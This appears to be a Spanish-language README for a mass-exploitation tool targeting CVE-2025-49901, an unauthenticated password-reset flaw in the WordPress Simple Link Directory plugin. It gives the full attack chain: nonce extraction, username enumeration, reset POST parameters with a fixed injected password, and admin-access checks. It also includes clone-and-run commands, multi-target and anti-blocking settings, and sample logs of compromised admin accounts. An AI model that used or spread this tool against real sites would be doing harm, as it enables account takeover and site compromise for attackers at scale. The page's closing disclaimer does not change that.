
El plugin Simple Link Directory de WordPress < 14.8.1 es vulnerable a una Autenticación Rota de alta prioridad.
El plugin Simple Link Directory de WordPress < 14.8.1 es vulnerable a una Autenticación Rota de alta prioridad
╔═══════════════════════════════════════════════════════════════════╗
║ CVE-2025-49901 · Simple Link Directory · qc-opd ║
║ Authentication Bypass → Password Reset → RCE ║
╚═══════════════════════════════════════════════════════════════════╝
El formulario de restablecimiento de contraseña qc-opd expuesto en las páginas de SLD acepta un nombre de usuario y una nueva contraseña sin verificar la identidad del usuario mediante ningún token, confirmación por correo electrónico o verificación de capacidades. Un atacante no autenticado puede enumerar nombres de usuario de WordPress, enviar el formulario de restablecimiento para cualquier cuenta y autenticarse inmediatamente con la contraseña inyectada, obteniendo acceso de administrador sin interacción del usuario objetivo.
┌─────────────────────────────────────────────────────────┐
│ 1. Localizar la página de restablecimiento de SLD │
│ Probar 28+ rutas → coincidencia: "sld" + "_wpnonce" + formulario │
│ │
│ 2. Extraer nonce │
│ Parsear _wpnonce desde HTML / JS / qc-opd-nonce │
│ │
│ 3. Enumerar nombres de usuario │
│ /?author=1..10 + /wp-json/wp/v2/users + nombre de host │
│ │
│ 4. Restablecer contraseña para cada usuario │
│ POST qc-restore-pwd=restore │
│ qc-uid=<usuario> │
│ pass=newhackerpass123 │
│ _wpnonce=<nonce> │
│ │
│ 5. Verificar acceso (modo dual) │
│ Modo sesión → verificación de cookie + sondeos de /wp-admin/ │
│ Modo contraseña → wp-login.php + verificación de panel admin │
│ │
│ 6. Escribir aciertos confirmados → scan_results/reset_mass_success.txt │
└─────────────────────────────────────────────────────────┘
git clone https://github.com/Nxploited/CVE-2025-49901.git
cd CVE-2025-49901
pip install requests colorama urllib3
python3 CVE-2025-49901.py
requirements.txt
requests>=2.28.0
colorama>=0.4.6
urllib3>=1.26.0
Archivo de lista de objetivos → list.txt (un host por línea)
Hilos → predeterminado 5
Timeout HTTP → predeterminado 10s
Retardo MIN/MAX por usuario → limitador anti-bloqueo (predeterminado 0.3 / 0.7s)
Retardo entre sitios → predeterminado 1.0s
Archivo de salida → scan_results/reset_mass_success.txt
Formato de objetivos:
https://target1.com
target2.com
http://target3.com/wordpress
Contraseña fija inyectada en todos los restablecimientos:
newhackerpass123
| Método | Endpoint |
|---|---|
| Redirección por autor | /?author=1 → |
Después de cada intento de restablecimiento, la herramienta verifica el acceso usando dos métodos independientes:
Session mode → checks wordpress_logged_in cookie + /wp-admin/ indicators
Password mode → full wp-login.php POST + multi-path admin panel probe
Indicadores de admin verificados:
id="adminmenu" · id="wpadminbar" · id="wpwrap"
users.php · plugins.php · plugin-install-tab · upload-plugin
[HH:MM:SS] [https://target.com] NONCE: OK | RESET: OK | ACCESS: 1 HIT
[HH:MM:SS] [https://target2.com] NONCE: FAIL | RESET: - | ACCESS: 0 HIT
scan_results/reset_mass_success.txt
[2025-06-01T14:22:10] https://target.com - account=admin pass=newhackerpass123 mode=password
[2025-06-01T14:22:18] https://target.com - account=editor pass=newhackerpass123 mode=session
Nxploited (Khaled Alenazi)
GitHub → https://github.com/Nxploited
Telegram → @KNxploited
FOR AUTHORIZED SECURITY RESEARCH AND EDUCATION ONLY.
The author bears no responsibility for use against systems
the operator does not own or have explicit written permission to test.
Unauthorized use violates the CFAA, CMA, and equivalent laws worldwide.
You alone are responsible for your actions.
© 2025 Nxploited · Simple Link Directory < 14.8.1 · Corregido en 14.8.1
| CVE | CVE-2025-49901 |
| CVSS | 9.8 CRÍTICA — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Plugin | quantumcloud Simple Link Directory (qc-simple-link-directory) |
| Afectado | Todas las versiones < 14.8.1 |
| Auth | Ninguna requerida |
| Tipo | Bypass de Autenticación mediante Ruta Alternativa (CWE-288) |
| CWE | CWE-288 · Bypass de Autenticación usando una Ruta o Canal Alternativa |
/?author=10| API REST | /wp-json/wp/v2/users |
| Nombre de host | Primera etiqueta del dominio como fallback |
| Codificado | admin siempre incluido |